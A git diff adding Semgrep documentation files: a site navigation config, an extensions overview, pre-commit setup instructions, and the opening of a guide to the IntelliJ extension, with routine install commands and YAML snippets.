+ "group": "Extensions",
+ "root": "extensions/overview",
+ "pages": [
+ "extensions/semgrep-vs-code",
+ "extensions/semgrep-intellij",
+ "extensions/pre-commit"
+ ]
+ },
+ {
+ "group": "Integrations",
+ "pages": [
+ "guardian",
+ "semgrep-appsec-platform/cortex",
+ "semgrep-appsec-platform/jira",
+ "semgrep-appsec-platform/sysdig",
+ "semgrep-appsec-platform/wiz"
+ ]
+ }
+ ]
+ },
+ {
+ "group": "Scan and triage",
+ "pages": [
+ {
+ "group": "SAST (Code)",
+ "pages": [
+ "semgrep-code/overview",
+ {
+ "group": "AI-powered detection",
+ "root": "semgrep-code/ai-powered-detection-concepts",
+ "pages": ["deployment/add-ai-to-scans"]
+ },
+ {
+ "group": "View findings",
+ "root": "semgrep-code/findings",
+ "pages": ["semgrep-code/finding-details"]
+ },
+ {
+ "group": "Triage and remediation",
+ "root": "semgrep-code/triage-remediation",
+ "pages": ["semgrep-code/triage-remediation/autofix"]
+ },
+ {
+ "group": "Manage rules and policies",
+ "root": "semgrep-code/policies",
+ "pages": ["semgrep-code/pro-rules", "semgrep-code/editor"]
+ },
+ {
+ "group": "Perform cross-file analysis",
+ "root": "semgrep-code/semgrep-pro-engine-intro",
+ "pages": ["semgrep-code/semgrep-pro-engine-examples"]
+ },
+ "semgrep-code/remove-duplicates"
+ ]
+ },
+ {
+ "group": "SCA (Supply Chain)",
+ "pages": [
+ "semgrep-supply-chain/overview",
+ {
+ "group": "Coverage",
+ "pages": [
+ "semgrep-supply-chain/sca-package-manager-support",
+ "semgrep-supply-chain/sca-feature-support"
+ ]
+ },
+ {
+ "group": "Open source security vulnerabilities",
+ "root": "semgrep-supply-chain/getting-started",
+ "pages": [
+ {
+ "group": "View findings",
+ "root": "semgrep-supply-chain/findings",
+ "pages": ["semgrep-supply-chain/finding-details"]
+ },
+ "semgrep-supply-chain/triage-and-remediation",
+ "semgrep-supply-chain/advisories",
+ "semgrep-supply-chain/policies",
+ "semgrep-supply-chain/ignoring-deps"
+ ]
+ },
+ "semgrep-supply-chain/sbom",
+ "semgrep-supply-chain/dependency-search",
+ "semgrep-supply-chain/license-compliance",
+ "semgrep-supply-chain/malicious-dependencies"
+ ]
+ },
+ {
+ "group": "Secrets",
+ "pages": [
+ "semgrep-secrets/conceptual-overview",
+ {
+ "group": "Scan for secrets",
+ "root": "semgrep-secrets/getting-started",
+ "pages": [
+ "semgrep-secrets/historical-scanning",
+ "semgrep-secrets/generic-secrets"
+ ]
+ },
+ {
+ "group": "View findings",
+ "root": "semgrep-secrets/findings",
+ "pages": ["semgrep-secrets/finding-details"]
+ },
+ "semgrep-secrets/triage-remediation",
+ "semgrep-secrets/policies",
+ "semgrep-secrets/rules-1",
+ "semgrep-secrets/validators-1",
+ "semgrep-secrets/glossary"
+ ]
+ }
+ ]
+ },
+ {
+ "group": "Semgrep Multimodal",
+ "pages": [
+ {
+ "group": "Overview",
+ "root": "semgrep-multimodal/overview",
+ "pages": ["semgrep-multimodal/metrics"]
+ },
+ {
+ "group": "Getting started",
+ "root": "semgrep-multimodal/getting-started",
+ "pages": [
+ "semgrep-multimodal/customize",
+ "semgrep-multimodal/best-practices-for-memories"
+ ]
+ },
+ "semgrep-multimodal/analyze",
+ "semgrep-multimodal/privacy"
+ ]
+ },
+ {
+ "group": "Semgrep Community Edition",
+ "pages": [
+ {
+ "group": "Get started",
+ "root": "getting-started/quickstart-ce",
+ "pages": ["customize-semgrep-ce"]
+ },
+ "semgrep-ce-languages",
+ "deployment/oss-deployment",
+ {
+ "group": "About Semgrep CE",
+ "pages": [
+ "contributing/semgrep-philosophy-1",
+ "semgrep-pro-vs-oss-1",
+ "faq/comparisons/opengrep-1"
+ ]
+ }
+ ]
+ },
+ {
+ "group": "References",
+ "pages": [
+ {
+ "group": "CI references",
+ "root": "category/ci-references-1",
+ "pages": [
+ "semgrep-ci/ci-environment-variables-1",
+ "semgrep-ci/sample-ci-configs-1",
+ "semgrep-ci/findings-ci-1",
+ "semgrep-ci/packages-in-semgrep-docker-1"
+ ]
+ },
+ {
+ "group": "Language reference",
+ "root": "category/language-reference",
+ "pages": [
+ "references/language-maturity-levels",
+ "references/feature-definitions",
+ "semgrep-code/java"
+ ]
+ },
+ {
+ "group": "Glossaries",
+ "root": "category/glossaries-1",
+ "pages": [
+ "semgrep-code/glossary",
+ "semgrep-supply-chain/glossary"
+ ]
+ },
+ "semgrepignore-v2-reference",
+ "cli-reference",
+ "semgrep-appsec-platform/json-and-sarif"
+ ]
+ }
+ ]
+ },
+ {
+ "tab": "Write rules",
+ "groups": [
+ {
+ "group": "Write rules for Semgrep Code",
+ "pages": [
+ "writing-rules/overview",
+ {
+ "group": "Rule structure syntax",
+ "root": "writing-rules/rule-syntax",
+ "pages": ["writing-rules/rule-ideas"]
+ },
+ {
+ "group": "Rule pattern syntax",
+ "root": "writing-rules/pattern-syntax",
+ "pages": ["writing-rules/pattern-examples"]
+ },
+ {
+ "group": "Advanced rule-writing techniques",
+ "pages": [
+ "writing-rules/rule-defined-fix",
+ "writing-rules/data-flow/data-flow-overview",
+ "writing-rules/data-flow/constant-propagation",
+ {
+ "group": "Taint analysis",
+ "root": "writing-rules/data-flow/taint-mode/overview",
+ "pages": ["writing-rules/data-flow/taint-mode/advanced"]
+ },
+ "writing-rules/data-flow/status",
+ "writing-rules/generic-pattern-matching",
+ "writing-rules/metavariable-analysis",
+ {
+ "group": "Experiments 🧪",
+ "pages": [
+ "writing-rules/experiments/introduction",
+ "writing-rules/experiments/pattern-syntax",
+ "writing-rules/experiments/aliengrep",
+ {
+ "group": "Join mode",
+ "root": "writing-rules/experiments/join-mode/overview",
+ "pages": [
+ "writing-rules/experiments/join-mode/recursive-joins"
+ ]
+ },
+ "writing-rules/experiments/symbolic-propagation",
+ "writing-rules/experiments/display-propagated-metavariable",
+ "writing-rules/experiments/multiple-focus-metavariables",
+ "writing-rules/experiments/r2c-internal-project-depends-on",
+ "writing-rules/experiments/metavariable-type",
+ "writing-rules/experiments/deprecated-experiments"
+ ]
+ }
+ ]
+ },
+ "writing-rules/private-rules",
+ "writing-rules/testing-rules",
+ "troubleshooting/rules",
+ "writing-rules/glossary"
+ ]
+ },
+ {
+ "group": "Write rules for Semgrep Secrets",
+ "pages": ["semgrep-secrets/rules", "semgrep-secrets/validators"]
+ }
+ ]
+ },
+ {
+ "tab": "Learning guides",
+ "groups": [
+ {
+ "group": "Application Security",
+ "pages": [
+ "learn",
+ {
+ "group": "Security Foundations",
+ "root": "learn/security-foundations/overview",
+ "pages": [
+ "learn/security-foundations/sast/overview",
+ "learn/security-foundations/supply-chain-security",
+ "learn/security-foundations/security-testing-workflow"
+ ]
+ },
+ {
+ "group": "Vulnerabilities",
+ "root": "learn/vulnerabilities/overview",
+ "pages": [
+ "learn/vulnerabilities/code-injection",
+ {
+ "group": "Command Injection",
+ "root": "learn/vulnerabilities/command-injection",
+ "pages": [
+ "learn/vulnerabilities/command-injection/argo-injection",
+ "learn/vulnerabilities/command-injection/github-actions-injection"
+ ]
+ },
+ "learn/vulnerabilities/cross-site-scripting",
+ "learn/vulnerabilities/insecure-deserialization",
+ "learn/vulnerabilities/idor",
+ "learn/vulnerabilities/open-redirect",
+ "learn/vulnerabilities/server-side-request-forgery",
+ "learn/vulnerabilities/sql-injection",
+ "learn/vulnerabilities/xml-security"
+ ]
+ }
+ ]
+ },
+ {
+ "group": "Secure Coding",
+ "pages": [
+ "cheat-sheets/overview",
+ {
+ "group": "Go",
+ "root": "category/go",
+ "pages": [
+ "cheat-sheets/go-command-injection",
+ "cheat-sheets/go-xss"
+ ]
+ },
+ {
+ "group": "Java",
+ "root": "category/java",
+ "pages": [
+ "cheat-sheets/java-code-injection",
+ "cheat-sheets/java-command-injection",
+ "cheat-sheets/java-jsp-xss",
+ "cheat-sheets/java-xxe"
+ ]
+ },
+ {
+ "group": "JavaScript",
+ "root": "category/javascript",
+ "pages": [
+ "cheat-sheets/javascript-code-injection",
+ "cheat-sheets/javascript-command-injection",
+ "cheat-sheets/express-xss"
+ ]
+ },
+ {
+ "group": "Python",
+ "root": "category/python",
+ "pages": [
+ "cheat-sheets/python-code-injection",
+ "cheat-sheets/python-command-injection",
+ "cheat-sheets/django-xss",
+ "cheat-sheets/flask-xss",
+ "learn/vulnerabilities/insecure-deserialization/python"
+ ]
+ },
+ {
+ "group": "Ruby",
+ "root": "category/ruby",
+ "pages": [
+ "cheat-sheets/ruby-code-injection",
+ "cheat-sheets/ruby-command-injection",
+ "cheat-sheets/rails-xss"
+ ]
+ }
+ ]
+ }
+ ]
+ },
+ {
+ "tab": "API",
+ "groups": [
+ {
+ "group": " ",
+ "pages": [
+ "api-reference/Introduction",
+ "api-reference/Authentication",
+ "api-reference/Terms-of-Use",
+ {
+ "group": "Deployment",
+ "root": "api-reference/DeploymentsService",
+ "pages": ["api-reference/deploymentsservice/list-deployments"]
+ },
+ {
+ "group": "Code, Supply Chain, and AI-Powered Scan",
+ "root": "api-reference/FindingsService",
+ "pages": [
+ "api-reference/findingsservice/list-code-or-supply-chain-findings"
+ ]
+ },
+ {
+ "group": "Other",
+ "root": "api-reference/MiscService",
+ "pages": [
+ "api-reference/miscservice/[beta]-get-sms-vpc-bootstrap-cloudformation-template",
+ "api-reference/miscservice/ping"
+ ]
+ },
+ {
+ "group": "Policies",
+ "root": "api-reference/PoliciesService",
+ "pages": [
+ "api-reference/policiesservice/list-policies",
+ "api-reference/policiesservice/list-policy-rules",
+ "api-reference/policiesservice/update-policy"
+ ]
+ },
+ {
+ "group": "Projects",
+ "pages": [
+ "api-reference/projectsservice/list-all-projects",
+ "api-reference/projectsservice/delete-project",
+ "api-reference/projectsservice/get-project-details",
+ "api-reference/projectsservice/update-project-details",
+ "api-reference/projectsservice/toggle-managed-scans-for-a-project",
+ "api-reference/projectsservice/remove-tags-from-project",
+ "api-reference/projectsservice/add-tags-to-project"
+ ]
+ },
+ {
+ "group": "Scans",
+ "root": "api-reference/ScansService",
+ "pages": [
+ "api-reference/scansservice/get-scan-details",
+ "api-reference/scansservice/list-scans-beta"
+ ]
+ },
+ {
+ "group": "Secrets",
+ "root": "api-reference/SecretsService",
+ "pages": ["api-reference/secretsservice/list-secrets"]
+ },
+ {
+ "group": "Supply Chain",
+ "root": "api-reference/SupplyChainService",
+ "pages": [
+ "api-reference/supplychainservice/list-dependencies",
+ "api-reference/supplychainservice/list-repositories-with-dependencies",
+ "api-reference/supplychainservice/list-lockfiles-in-a-given-repository-with-dependencies",
+ "api-reference/supplychainservice/create-a-new-sbom-export-job",
+ "api-reference/supplychainservice/get-the-status-of-a-sbom-export-job"
+ ]
+ },
+ {
+ "group": "Ticketing",
+ "root": "api-reference/TicketingService",
+ "pages": [
+ "api-reference/ticketingservice/unlink-a-jira-ticket",
+ "api-reference/ticketingservice/create-jira-tickets"
+ ]
+ },
+ {
+ "group": "Triage",
+ "root": "api-reference/TriageService",
+ "pages": ["api-reference/triageservice/bulk-triage"]
+ }
+ ]
+ }
+ ]
+ },
+ {
+ "tab": "Help",
+ "dropdowns": [
+ {
+ "dropdown": "Knowledge base",
+ "icon": "book",
+ "groups": [
+ {
+ "group": "Knowledge base",
+ "root": "kb",
+ "pages": [
+ {
+ "group": "Semgrep Multimodal",
+ "root": "kb/semgrep-multimodal",
+ "pages": [
+ "kb/semgrep-multimodal/azure-openai-error-429",
+ "kb/semgrep-multimodal/missing-pr-mr-comments"
+ ]
+ },
+ {
+ "group": "Semgrep Code",
+ "root": "kb/semgrep-code",
+ "pages": [
+ "kb/semgrep-code/InvalidHeaderValue",
+ "kb/semgrep-code/collect-cli-logs",
+ "kb/semgrep-code/finding_all_taints",
+ "kb/semgrep-code/gitlab-group-variables",
+ "kb/semgrep-code/support-for-language-versions",
+ "kb/semgrep-code/reduce-false-positives",
+ "kb/semgrep-code/run-specific-version",
+ "kb/semgrep-code/scan-engine-kill",
+ "kb/semgrep-code/semgrep-scan-troubleshooting",
+ "kb/semgrep-code/semgrepignore-ignored",
+ "kb/semgrep-code/unexpected-new-findings"
+ ]
+ },
+ {
+ "group": "Semgrep Supply Chain (SSC)",
+ "root": "kb/semgrep-supply-chain",
+ "pages": [
+ "kb/semgrep-supply-chain/exclude-rule",
+ "kb/semgrep-supply-chain/incident-response",
+ "kb/semgrep-supply-chain/scanning_multiple_lockfiles",
+ "kb/semgrep-supply-chain/ssc-lockfiles-circleci",
+ "kb/semgrep-supply-chain/ssc-python-lockfiles",
+ "kb/semgrep-supply-chain/why-no-findings"
+ ]
+ },
+ {
+ "group": "Semgrep AppSec Platform",
+ "root": "kb/semgrep-appsec-platform",
+ "pages": [
+ "kb/semgrep-appsec-platform/act-on-your-behalf",
+ "kb/semgrep-appsec-platform/api-404-token-scope",
+ "kb/semgrep-appsec-platform/automate-rules-deployment",
+ "kb/semgrep-appsec-platform/cannot-access-semgrep-after-github-login",
+ "kb/semgrep-appsec-platform/dependency-count-differ-platform",
+ "kb/semgrep-appsec-platform/error-externally-managed-environment",
+ "kb/semgrep-appsec-platform/fedramp-with-semgrep",
+ "kb/semgrep-appsec-platform/findings-count-differ-api-platform",
+ "kb/semgrep-appsec-platform/findings-count-differ-platform",
+ "kb/semgrep-appsec-platform/inline-pr-comments",
+ "kb/semgrep-appsec-platform/missing-pr-comments",
+ "kb/semgrep-appsec-platform/no-runs-in-github-merge-queues",
+ "kb/semgrep-appsec-platform/projects-not-yet-started-sms",
+ "kb/semgrep-appsec-platform/remove-users",
+ "kb/semgrep-appsec-platform/rerun-managed-scans",
+ "kb/semgrep-appsec-platform/saml-attributestatement",
+ "kb/semgrep-appsec-platform/saml-authentication-method-match",
+ "kb/semgrep-appsec-platform/saml-bad-signature",
+ "kb/semgrep-appsec-platform/saml-google-workspace",
+ "kb/semgrep-appsec-platform/saml-microsoft-entra-id",
+ "kb/semgrep-appsec-platform/saml-stops-working",
+ "kb/semgrep-appsec-platform/scan-duration-discrepancy",
+ "kb/semgrep-appsec-platform/search-filter-sort-findings",
+ "kb/semgrep-appsec-platform/semgrep-login-cli-tenant",
+ "kb/semgrep-appsec-platform/sso-attribute-error"
+ ]
+ },
+ {
+ "group": "Semgrep Secrets",
+ "root": "kb/semgrep-secrets",
+ "pages": [
+ "kb/semgrep-secrets/no-example-secrets-found",
+ "kb/semgrep-secrets/per-product-ignore-not-working"
+ ]
+ },
+ {
+ "group": "Semgrep in CI",
+ "root": "kb/semgrep-ci",
+ "pages": [
+ "kb/semgrep-ci/azure-self-hosted-ubuntu",
+ "kb/semgrep-ci/azure-using-templates-with-semgrep",
+ "kb/semgrep-ci/bitbucket-jenkins",
+ "kb/semgrep-ci/ci-vs-cli",
+ "kb/semgrep-ci/collect-gha-logs",
+ "kb/semgrep-ci/collect-gitlab-logs",
+ "kb/semgrep-ci/git-command-errors",
+ "kb/semgrep-ci/github-repository-rulesets-semgrep",
+ "kb/semgrep-ci/github-reusable-workflows-semgrep",
+ "kb/semgrep-ci/github-upload-findings-in-security-dashboard",
+ "kb/semgrep-ci/jenkins-diff-scans",
+ "kb/semgrep-ci/mr-comments-through-gitlab-runner",
+ "kb/semgrep-ci/new-scm-connections",
+ "kb/semgrep-ci/scan-compressed-files-artifacts",
+ "kb/semgrep-ci/scan-monorepo-in-parts",
+ "kb/semgrep-ci/semaphore-pipelines",
+ "kb/semgrep-ci/trigger-diff-scans-env-var",
+ "kb/semgrep-ci/upload-ci-findings-to-github",
+ "kb/semgrep-ci/upload-ci-findings-to-gitlab",
+ "kb/semgrep-ci/using-nonroot-docker-image-with-gha",
+ "kb/semgrep-ci/why-duplicate-findings"
+ ]
+ },
+ {
+ "group": "Integrations",
+ "root": "kb/integrations",
+ "pages": [
+ "kb/integrations/customize-semgrep-precommit",
+ "kb/integrations/defect-dojo-integration",
+ "kb/integrations/pagination"
+ ]
+ },
+ {
+ "group": "Rules",
+ "root": "kb/rules",
+ "pages": [
+ "kb/rules/changing-rule-severity-and-other-metadata",
+ "kb/rules/ellipsis-metavariables",
+ "kb/rules/exclude_rule_for_certain_filetypes",
+ "kb/rules/match-absence",
+ "kb/rules/match-comments",
+ "kb/rules/pattern-parse-error",
+ "kb/rules/pro-vs-community-secrets-vs-code-rules",
+ "kb/rules/rule-file-perf-principles",
+ "kb/rules/ruleset-default-mode",
+ "kb/rules/run-all-available-rules",
+ "kb/rules/understand-severities",
+ "kb/rules/using-pattern-not-inside",
+ "kb/rules/using-semgrep-rule-schema-in-vscode"
+ ]
+ }
+ ]
+ }
+ ]
+ },
+ {
+ "dropdown": "Support",
+ "icon": "headset",
+ "groups": [
+ {
+ "group": "Support & resources",
+ "pages": [
+ "support",
+ {
+ "group": "Usage and billing",
+ "root": "usage-and-billing/overview",
+ "pages": [
+ "deployment/claim-a-license",
+ "usage-and-billing/plan-changes-and-payments",
+ "usage-and-billing/contributor-count-explained",
+ "usage-and-billing/reconciliation"
+ ]
+ },
+ "licensing",
+ {
+ "group": "Compliance",
+ "root": "compliance/compliance-overview",
+ "pages": [
+ "compliance/fedramp",
+ "compliance/gdpr",
+ "compliance/hipaa-hitrust",
+ "compliance/iso27001",
+ "compliance/iso-27017",
+ "compliance/nist-800-171",
+ "compliance/pci-dss",
+ "compliance/soc2"
+ ]
+ },
+ "trophy-case",
+ "run-a-successful-pov",
+ "metrics-1",
+ "security",
+ {
+ "group": "Contribute to Semgrep",
+ "pages": [
+ "contributing/contributing",
+ "contributing/contributing-to-semgrep-rules-repository",
+ "contributing/contributing-code",
+ "contributing/semgrep-core-contributing",
+ "contributing/semgrep-contributing",
+ "contributing/adding-a-language",
+ "contributing/updating-a-grammar",
+ "contributing/troubleshooting"
+ ]
+ }
+ ]
+ }
+ ]
+ }
+ ]
+ },
+ {
+ "tab": "Explore",
+ "dropdowns": [
+ {
+ "dropdown": "What's Semgrep",
+ "icon": "sparkles",
+ "groups": [
+ {
+ "group": "What's Semgrep",
+ "pages": [
+ "introduction",
+ "faq/overview",
+ "run-a-successful-pov-1",
+ "semgrep-pro-vs-oss",
+ "contributing/semgrep-philosophy",
+ {
+ "group": "Comparisons with other tools",
+ "pages": [
+ "faq/comparisons/codeql",
+ "faq/comparisons/endor-labs",
+ "faq/comparisons/opengrep",
+ "faq/comparisons/snyk",
+ "faq/comparisons/sonarqube"
+ ]
+ },
+ "integrating",
+ "metrics"
+ ]
+ }
+ ]
+ },
+ {
+ "dropdown": "For developers",
+ "icon": "code",
+ "pages": [
+ "for-developers/overview",
+ "for-developers/signin",
+ {
+ "group": "Resolve findings",
+ "pages": [
+ "for-developers/resolve-findings-through-comments",
+ "for-developers/resolve-findings-through-app"
+ ]
+ },
+ {
+ "group": "Run scans",
+ "pages": ["for-developers/cli", "for-developers/ide"]
+ },
+ {
+ "group": "References",
+ "pages": ["for-developers/detection"]
+ }
+ ]
+ },
+ {
+ "dropdown": "References",
+ "icon":"code-simple",
+ "pages":[
+ {
+ "group": "CI references",
+ "root": "category/ci-references",
+ "pages": [
+ "semgrep-ci/ci-environment-variables",
+ "semgrep-ci/sample-ci-configs",
+ "semgrep-ci/findings-ci",
+ "semgrep-ci/packages-in-semgrep-docker"
+ ]
+ },
+ {
+ "group": "Language-specific features",
+ "root": "category/language-specific-features",
+ "pages": [
+ "semgrep-code/java"
+ ]
+ },
+ {
+ "group": "Glossaries",
+ "root": "category/glossaries",
+ "pages": [
+ "semgrep-code/glossary",
+ "semgrep-supply-chain/glossary"
+ ]
+ },
+ "references/language-maturity-levels",
+ "references/feature-definitions"
+ ]
+ },
+ {
+ "dropdown": "Release notes",
+ "icon": "bullhorn",
+ "groups": [
+ {
+ "group": "Most recent posts",
+ "pages": [
+ "release-notes",
+ {
+ "group": "2026",
+ "pages": [
+ "release-notes/may-2026",
+ "release-notes/april-2026",
+ "release-notes/march-2026",
+ "release-notes/february-2026",
+ "release-notes/january-2026",
+ "release-notes/december-2025"
+ ]
+ },
+ {
+ "group": "2025",
+ "pages": [
+ "release-notes/november-2025",
+ "release-notes/october-2025",
+ "release-notes/september-2025",
+ "release-notes/august-2025",
+ "release-notes/july-2025",
+ "release-notes/june-2025",
+ "release-notes/may-2025",
+ "release-notes/april-2025"
+ ]
+ }
+ ]
+ }
+ ]
+ }
+ ]
+ }
+ ],
+ "global": {
+ "anchors": [
+ {
+ "anchor": "Blog",
+ "href": "https://semgrep.dev/blog",
+ "icon": "newspaper"
+ },
+ {
+ "anchor": "Academy",
+ "href": "https://academy.semgrep.dev",
+ "icon": "graduation-cap"
+ }
+ ]
+ }
+ },
+ "logo": {
+ "light": "logo/light.svg",
+ "dark": "logo/dark.svg"
+ },
+ "navbar": {
+ "links": [
+ {
+ "label": "Login",
+ "href": "https://semgrep.dev/orgs/-"
+ }
+ ],
+ "primary": {
+ "type": "github",
+ "href": "https://github.com/semgrep/semgrep"
+ }
+ },
+ "contextual": {
+ "options": [
+ "copy",
+ "view",
+ "chatgpt",
+ "claude",
+ "perplexity",
+ "mcp",
+ "cursor",
+ "vscode"
+ ]
+ },
+ "footer": {
+ "socials": {
+ "x": "https://x.com/semgrep",
+ "github": "https://github.com/semgrep/semgrep",
+ "linkedin": "https://www.linkedin.com/company/semgrep"
+ }
+ }
+}
diff --git a/mintlify-docs/extensions/overview.mdx b/mintlify-docs/extensions/overview.mdx
new file mode 100644
index 0000000000..9c329aaf96
--- /dev/null
+++ b/mintlify-docs/extensions/overview.mdx
@@ -0,0 +1,36 @@
+---
+title: "Extensions"
+description: "Several third-party tools include Semgrep extensions."
+---
+
+
+## Official IDE extensions
+
+| Name | Marketplace link | Documentation |
+| :--- | :--- | :--- |
+| Microsoft Visual Studio Code | [ `semgrep-vscode`](https://marketplace.visualstudio.com/items?itemName=semgrep.semgrep) | [Semgrep VS Code extension](/extensions/semgrep-vs-code) |
+| IntelliJ Ultimate Idea and many other IntelliJ products |[ `semgrep-intellij`](https://plugins.jetbrains.com/plugin/22622-semgrep) |[Semgrep IntelliJ extension](/extensions/semgrep-intellij) |
+| Emacs | [ `lsp-mode`](https://github.com/emacs-lsp/lsp-mode) | See repository README |
+
+## Use of Language Server Protocol (LSP)
+
+All of the official IDE extensions use the [Language Server Protocol](https://microsoft.github.io/language-server-protocol/) to communicate with Semgrep. This allows the team to focus on one codebase that can be shared across most modern editor platforms.
+
+## `pre-commit`
+
+Prevent secrets or security issues from entering your Git source control history by running Semgrep as a [ pre-commit](https://pre-commit.com/) hook. See [`pre-commit` documentation](/extensions/pre-commit) for details.
+
+## Semgrep as an engine
+
+Many other tools have capabilities powered by Semgrep. Add yours [with a pull request](https://github.com/semgrep/semgrep-docs)!
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/extensions/pre-commit.md.template.mdx b/mintlify-docs/extensions/pre-commit.md.template.mdx
new file mode 100644
index 0000000000..4168afa9cf
--- /dev/null
+++ b/mintlify-docs/extensions/pre-commit.md.template.mdx
@@ -0,0 +1,59 @@
+---
+title: "Run scans on pre-commit"
+---
+
+
+The [pre-commit framework](https://pre-commit.com/) can run `semgrep` when you commit changes. This is helpful in preventing secrets and security issues from leaking into your Git history.
+
+## Prerequisites
+
+[ The `pre-commit` framework](https://pre-commit.com).
+
+## `pre-commit` with Semgrep Community Edition (no login)
+
+Use these instructions to run `pre-commit` without logging in. You can still use custom rules or rules from the Semgrep Registry.
+
+Add the following to your `.pre-commit-config.yaml` file:
+
+```yaml
+repos:
+- repo: https://github.com/semgrep/pre-commit
+ rev: 'SEMGREP_VERSION_LATEST'
+ hooks:
+ - id: semgrep
+ entry: semgrep
+ # Replace with your custom rule source
+ # or see https://semgrep.dev/explore to select a ruleset and copy its URL
+ args: ['--config', '', '--error', '--skip-unknown-extensions']
+```
+
+## `pre-commit` with your Semgrep AppSec Platform configuration
+
+You can also run custom rules and rulesets from Semgrep AppSec Platform, similar to running `semgrep ci`.
+
+Ensure that you are logged in:
+
+
+
+ og in to your Semgrep account. Running this command launches a browser window, but you can also use the link that's returned in the CLI to proceed:
+
+ ```bash
+ semgrep login
+ ```
+
+
+ In the **Semgrep CLI login**, click **Activate** to proceed.
+
+
+
+Add the following to your `.pre-commit-config.yaml` file:
+
+```yaml
+repos:
+- repo: https://github.com/semgrep/pre-commit
+ rev: 'SEMGREP_VERSION_LATEST'
+ hooks:
+ - id: semgrep-ci
+```
+
+For guidance on customizing Semgrep's behavior in pre-commit, see [Customize Semgrep in pre-commit](/kb/integrations/customize-semgrep-precommit).
diff --git a/mintlify-docs/extensions/pre-commit.mdx b/mintlify-docs/extensions/pre-commit.mdx
new file mode 100644
index 0000000000..093f9e5b9d
--- /dev/null
+++ b/mintlify-docs/extensions/pre-commit.mdx
@@ -0,0 +1,58 @@
+---
+title: "Run scans on pre-commit"
+---
+
+The [pre-commit framework](https://pre-commit.com/) can run `semgrep` when you commit changes. This is helpful in preventing secrets and security issues from leaking into your Git history.
+
+## Prerequisites
+
+[The `pre-commit` framework](https://pre-commit.com).
+
+## `pre-commit` with Semgrep Community Edition (no login)
+
+Use these instructions to run `pre-commit` without logging in. You can still use custom rules or rules from the Semgrep Registry.
+
+Add the following to your `.pre-commit-config.yaml` file:
+
+```yaml
+repos:
+- repo: https://github.com/semgrep/pre-commit
+ rev: 'SEMGREP_VERSION_LATEST'
+ hooks:
+ - id: semgrep
+ entry: semgrep
+ # Replace with your custom rule source
+ # or see https://semgrep.dev/explore to select a ruleset and copy its URL
+ args: ['--config', '', '--error', '--skip-unknown-extensions']
+```
+
+## `pre-commit` with your Semgrep AppSec Platform configuration
+
+You can also run custom rules and rulesets from Semgrep AppSec Platform, similar to running `semgrep ci`.
+
+Ensure that you are logged in:
+
+
+
+ Log in to your Semgrep account. Running this command launches a browser window, but you can also use the link that's returned in the CLI to proceed:
+
+ ```bash
+ semgrep login
+ ```
+
+
+ In the **Semgrep CLI login**, click **Activate** to proceed.
+
+
+
+Add the following to your `.pre-commit-config.yaml` file:
+
+```yaml
+repos:
+- repo: https://github.com/semgrep/pre-commit
+ rev: 'SEMGREP_VERSION_LATEST'
+ hooks:
+ - id: semgrep-ci
+```
+
+For guidance on customizing Semgrep's behavior in pre-commit, see [Customize Semgrep in pre-commit](/kb/integrations/customize-semgrep-precommit).
diff --git a/mintlify-docs/extensions/semgrep-intellij.mdx b/mintlify-docs/extensions/semgrep-intellij.mdx
new file mode 100644
index 0000000000..89b399c6a5
--- /dev/null
+++ b/mintlify-docs/extensions/semgrep-intellij.mdx
@@ -0,0 +1,124 @@
+---
+title: "Semgrep IntelliJ extension"
+sidebarTitle: "IntelliJ extension"
+---
+
+[Semgrep](https://semgrep.dev/) swiftly scans code and package dependencies for known issues, software vulnerabilities, and detected secrets. Run Semgrep in your developer environment with the IntelliJ extension to catch code issues as you type. By default, the Semgrep IntelliJ extension scans code whenever you change or open files.
+
+
+**INFO**
+
+Semgrep's IntelliJ extension for Windows users is currently in beta.
+
+
+## Prerequisites
+
+The Semgrep IntelliJ extension communicates with Semgrep command-line interface (CLI) to run scans. Install Semgrep CLI before you can use the extension. To install Semgrep CLI:
+
+```bash
+# For macOS
+$ brew install semgrep
+
+# For Ubuntu/Windows/Linux/macOS, using pipx (https://pipx.pypa.io/stable/how-to/install-pipx/)
+$ pipx install semgrep
+
+# Or, using uv (https://docs.astral.sh/uv/)
+$ uv tool install semgrep
+```
+
+## Quickstart
+
+
+
+ Install the Semgrep extension:
+ - Visit [ Semgrep's page on the JetBrains Marketplace](https://plugins.jetbrains.com/plugin/22622-semgrep).
+ - In IntelliJ: **Settings/Preferences > Plugins > Marketplace > Search for `semgrep-intellij` > Install**. You may need to restart IntelliJ for the Semgrep extension to be installed.
+
+
+ Sign in: Press Ctrl+⇧Shift+A (Windows) or ⌘Command+⇧Shift+A (macOS) and sign in to Semgrep AppSec Platform by selecting the following command:
+
+ ```bash
+ Sign in with Semgrep
+ ```
+
+
+ Test the extension by pressing Ctrl+⇧Shift+A (Windows) or ⌘Command+⇧Shift+A (macOS) and run the following command:
+
+ ```bash
+ Scan workspace with Semgrep
+ ```
+
+
+ See Semgrep findings: Hold the pointer over the code that has the red underline.
+
+
+
+
+**FEATURE MATURITY**
+
+Semgrep's IntelliJ extensions are currently in beta. Currently, the IntelliJ extension only supports Semgrep Community Edition (CE) - it doesn't support Semgrep Supply Chain, Secrets, Pro rules, or Pro Engine. Please join the [Semgrep community Slack workspace](https://go.semgrep.dev/slack) and let the Semgrep team know if you encounter any issues.
+
+
+## Supported Jet Brains products
+
+Semgrep's IDE extension is available in many Jet Brains products:
+
+- AppCode
+- Aqua
+- CLion
+- DataSpell
+- DataGrip
+- GoLand
+- IntelliJ IDEA Ultimate
+- PhpStorm
+- PyCharm Professional
+- Rider
+- RubyMine
+- RustRover
+- WebStorm
+
+
+**INTELLIJ EXTENSION DOES NOT SUPPORT:**
+
+- IntelliJ IDEA Community Edition.
+
+Semgrep does not offer an IDE integration with IntelliJ Community Edition because [this version lacks support for the Language Server Protocol (LSP)](https://plugins.jetbrains.com/intellij/language-server-protocol.html#supported-ides), which is essential for enabling Semgrep’s code scanning features. IntelliJ Ultimate, which includes LSP support, is required to use Semgrep's IDE integration.
+
+
+
+## Commands
+
+Run Semgrep extension commands through the IntelliJ Command Palette. You can access the Command Palette by pressing Ctrl+⇧Shift+A (Windows) or ⌘Command+⇧Shift+A (macOS) on your keyboard.
+
+- `Sign in with Semgrep`: Sign up or log in to the Semgrep AppSec Platform (this command opens a new window in your browser). Alternatively, you can log in through your command-line interface by running `semgrep login`.
+- `Sign out of Semgrep`: Log out of Semgrep AppSec Platform. If you are logged out, you lose access to Semgrep Supply Chain and Semgrep Secrets. Alternatively, you can sign out through your command-line interface by running `semgrep logout`.
